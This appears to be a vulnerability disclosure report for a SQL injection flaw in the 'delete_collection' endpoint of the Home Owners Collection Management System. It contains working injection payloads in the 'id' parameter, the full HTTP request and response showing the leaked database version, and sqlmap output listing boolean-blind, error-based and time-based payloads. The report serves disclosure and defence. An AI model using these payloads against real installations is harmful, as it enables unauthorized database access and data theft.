

main

...

bug_report / vendors / oretnom23 / Home-Owners-Collection-Management / SQLi-2.md



debug601 Create SQLi-2.md

History

1 contributor

48 lines (37 sloc) | 1.95 KB

...

Home Owners Collection Management System has SQL injection vulnerability

vendor : <https://www.sourcecodester.com/php/15162/home-owners-collection-management-system-phpoop-free-source-code.html>

Vulnerability file: /hocms/classes/Master.php?f=delete_collection

Vulnerability location: /hocms/classes/Master.php?f=delete_collection,id

[+]Payload: id=1' and updatexml(1,concat(0x7e,(select version()),0x7e),0)--+ //id is Injection point

```
POST /hocms/classes/Master.php?f=delete_collection HTTP/1.1
Host: 192.168.1.19
Content-Length: 64
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.19
Referer: http://192.168.1.19/hocms/admin/?page=collections
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
```

Cookie: PHPSESSID=vfe306mj2a11p5q94440ttg4bd

Connection: close

id=1' and updatexml(1,concat(0x7e,(select version()),0x7e),0)--+ //id is
Injection point

```
POST /hocms/classes/Master.php?f=delete_collection HTTP/1.1
Host: 192.168.1.19
Content-Length: 64
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82
Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.19
Referer: http://192.168.1.19/hocms/admin/?page=collections
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=vfe306mj2a11p5q94440ttg4bd
Connection: close

id=1' and updatexml(1,concat(0x7e,(select
version()),0x7e),0)--+
```

```
HTTP/1.1 200 OK
Date: Mon, 28 Mar 2022 03:49:38 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 69
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":"failed","error":"'XPath syntax error: '-10.4.19-MariaDB-'"}

```

Parameter: id (POST)

Type: **boolean-based blind**

Title: MySQL RLIKE **boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause**

Payload: id=1' RLIKE (SELECT (CASE WHEN (7593=7593) THEN 1 ELSE 0x28 END))-- roy

Type: **error-based**

Title: MySQL >= 5.1 AND **error-based - WHERE, HAVING, ORDER BY or GROUP BY clause**

Payload: id=1' AND EXTRACTVALUE(4089,CONCAT(0x5c,0x71716a6b71,(SELECT (ELT(4089=

Type: **time-based blind**

Title: MySQL >= 5.0.12 AND **time-based blind (query SLEEP)**

Payload: id=1' AND (SELECT 1072 FROM (SELECT(SLEEP(5)))JGOk)-- dtrs



POST parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 390 HTTP(s) requests:

Parameter: id (POST)

Type: **boolean-based blind**

Title: MySQL RLIKE **boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause**

Payload: id=1' RLIKE (SELECT (CASE WHEN (7593=7593) THEN 1 ELSE 0x28 END))-- royL

Type: **error-based**

Title: MySQL >= 5.1 AND **error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)**

Payload: id=1' AND EXTRACTVALUE(4089,CONCAT(0x5c,0x71716a6b71,(SELECT (ELT(4089=4089,1))),0x716b7a7071))-- bEpc

Type: **time-based blind**

Title: MySQL >= 5.0.12 AND **time-based blind (query SLEEP)**

Payload: id=1' AND (SELECT 1072 FROM (SELECT(SLEEP(5)))JGOk)-- dtrs

[12:11:08] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.0.7, Apache 2.4.48
back-end DBMS: MySQL >= 5.1 (MariaDB fork)